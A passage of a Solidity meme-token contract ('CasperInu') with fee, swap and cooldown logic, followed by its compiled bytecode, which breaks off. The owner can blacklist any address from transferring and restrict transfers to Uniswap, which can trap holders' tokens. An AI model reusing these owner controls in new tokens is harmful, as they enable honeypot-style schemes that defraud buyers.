_msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 100000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600981526020017f436173706572496e750000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f434153504552494e550000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f